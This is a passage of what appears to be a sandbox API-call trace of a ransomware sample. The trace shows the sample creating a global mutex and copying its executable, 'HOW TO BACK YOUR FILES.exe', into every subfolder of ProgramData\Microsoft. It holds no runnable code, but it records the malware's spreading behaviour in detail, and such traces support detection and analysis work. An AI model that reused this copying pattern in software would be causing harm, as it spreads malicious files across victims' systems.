lpMem=0x530aa0 | out: hHeap=0x4f0000) returned 1 [0097.608] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Microsoft") returned 41 [0097.608] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F12506F52158B5F8000649AE9FAA0677") returned 0xec [0097.608] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.609] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Microsoft" | out: lpString1="C:\\ProgramData\\Application Data\\Microsoft") returned="C:\\ProgramData\\Application Data\\Microsoft" [0097.609] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.609] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.609] GetLastError () returned 0x0 [0097.609] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.609] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.610] CloseHandle (hObject=0xf4) returned 1 [0097.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.610] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.610] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.610] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.611] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.611] lstrcpyW (in: lpString1=0x241e89c, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance" [0097.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530aa0 [0097.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x5393b0 [0097.611] lstrcatW (in: lpString1="Assistance", lpString2="\\" | out: lpString1="Assistance\\") returned="Assistance\\" [0097.611] lstrcatW (in: lpString1="Assistance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Assistance\\HOW TO BACK YOUR FILES.exe") returned="Assistance\\HOW TO BACK YOUR FILES.exe" [0097.611] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.611] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0097.611] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.611] lstrcmpiW (lpString1="Crypto", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.611] lstrcpyW (in: lpString1=0x241e89c, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0097.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a88 [0097.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e660 [0097.612] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0097.612] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0097.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.612] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0097.612] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.612] lstrcmpiW (lpString1="Device Stage", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.612] lstrcpyW (in: lpString1=0x241e89c, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage" [0097.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ba38 [0097.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539428 [0097.612] lstrcatW (in: lpString1="Device Stage", lpString2="\\" | out: lpString1="Device Stage\\") returned="Device Stage\\" [0097.612] lstrcatW (in: lpString1="Device Stage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device Stage\\HOW TO BACK YOUR FILES.exe") returned="Device Stage\\HOW TO BACK YOUR FILES.exe" [0097.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.613] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0097.613] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.613] lstrcmpiW (lpString1="DeviceSync", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.613] lstrcpyW (in: lpString1=0x241e89c, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync" [0097.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ba50 [0097.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x5394a0 [0097.613] lstrcatW (in: lpString1="DeviceSync", lpString2="\\" | out: lpString1="DeviceSync\\") returned="DeviceSync\\" [0097.613] lstrcatW (in: lpString1="DeviceSync\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DeviceSync\\HOW TO BACK YOUR FILES.exe") returned="DeviceSync\\HOW TO BACK YOUR FILES.exe" [0097.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.614] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0097.614] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.614] lstrcmpiW (lpString1="DRM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.614] lstrcpyW (in: lpString1=0x241e89c, lpString2="DRM" | out: lpString1="DRM") returned="DRM" [0097.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ba68 [0097.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b128 [0097.614] lstrcatW (in: lpString1="DRM", lpString2="\\" | out: lpString1="DRM\\") returned="DRM\\" [0097.614] lstrcatW (in: lpString1="DRM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DRM\\HOW TO BACK YOUR FILES.exe") returned="DRM\\HOW TO BACK YOUR FILES.exe" [0097.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.614] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0097.614] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.615] lstrcmpiW (lpString1="eHome", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.615] lstrcpyW (in: lpString1=0x241e89c, lpString2="eHome" | out: lpString1="eHome") returned="eHome" [0097.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff058 [0097.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51be90 [0097.615] lstrcatW (in: lpString1="eHome", lpString2="\\" | out: lpString1="eHome\\") returned="eHome\\" [0097.615] lstrcatW (in: lpString1="eHome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="eHome\\HOW TO BACK YOUR FILES.exe") returned="eHome\\HOW TO BACK YOUR FILES.exe" [0097.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.615] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0097.615] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.615] lstrcmpiW (lpString1="Event Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.615] lstrcpyW (in: lpString1=0x241e89c, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer" [0097.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff088 [0097.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539518 [0097.615] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0097.616] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0097.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.616] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.616] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.616] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0097.616] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.616] lstrcmpiW (lpString1="IdentityCRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.616] lstrcpyW (in: lpString1=0x241e89c, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL" [0097.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff070 [0097.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x539590 [0097.616] lstrcatW (in: lpString1="IdentityCRL", lpString2="\\" | out: lpString1="IdentityCRL\\") returned="IdentityCRL\\" [0097.616] lstrcatW (in: lpString1="IdentityCRL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IdentityCRL\\HOW TO BACK YOUR FILES.exe") returned="IdentityCRL\\HOW TO BACK YOUR FILES.exe" [0097.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.617] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0097.617] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.617] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.617] lstrcpyW (in: lpString1=0x241e89c, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0097.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8e0 [0097.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539608 [0097.617] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0097.617] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0097.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.618] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0097.618] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.618] lstrcmpiW (lpString1="MF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.618] lstrcpyW (in: lpString1=0x241e89c, lpString2="MF" | out: lpString1="MF") returned="MF" [0097.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8c8 [0097.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51aff0 [0097.618] lstrcatW (in: lpString1="MF", lpString2="\\" | out: lpString1="MF\\") returned="MF\\" [0097.618] lstrcatW (in: lpString1="MF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MF\\HOW TO BACK YOUR FILES.exe") returned="MF\\HOW TO BACK YOUR FILES.exe" [0097.618] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.618] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0097.618] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.619] lstrcmpiW (lpString1="MSDN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.619] lstrcpyW (in: lpString1=0x241e89c, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN" [0097.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db80 [0097.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51be28 [0097.619] lstrcatW (in: lpString1="MSDN", lpString2="\\" | out: lpString1="MSDN\\") returned="MSDN\\" [0097.619] lstrcatW (in: lpString1="MSDN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSDN\\HOW TO BACK YOUR FILES.exe") returned="MSDN\\HOW TO BACK YOUR FILES.exe" [0097.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.619] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0097.619] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.619] lstrcmpiW (lpString1="NetFramework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.619] lstrcpyW (in: lpString1=0x241e89c, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework" [0097.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509080 [0097.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x539680 [0097.619] lstrcatW (in: lpString1="NetFramework", lpString2="\\" | out: lpString1="NetFramework\\") returned="NetFramework\\" [0097.620] lstrcatW (in: lpString1="NetFramework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetFramework\\HOW TO BACK YOUR FILES.exe") returned="NetFramework\\HOW TO BACK YOUR FILES.exe" [0097.620] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.620] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0097.620] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.620] lstrcmpiW (lpString1="Network", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.620] lstrcpyW (in: lpString1=0x241e89c, lpString2="Network" | out: lpString1="Network") returned="Network" [0097.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bb78 [0097.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e580 [0097.620] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0097.620] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0097.620] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.621] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0097.621] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.621] lstrcmpiW (lpString1="OFFICE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.621] lstrcpyW (in: lpString1=0x241e89c, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE" [0097.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bb90 [0097.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e510 [0097.621] lstrcatW (in: lpString1="OFFICE", lpString2="\\" | out: lpString1="OFFICE\\") returned="OFFICE\\" [0097.621] lstrcatW (in: lpString1="OFFICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE\\HOW TO BACK YOUR FILES.exe") returned="OFFICE\\HOW TO BACK YOUR FILES.exe" [0097.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\OFFICE\\HOW TO BACK YOUR 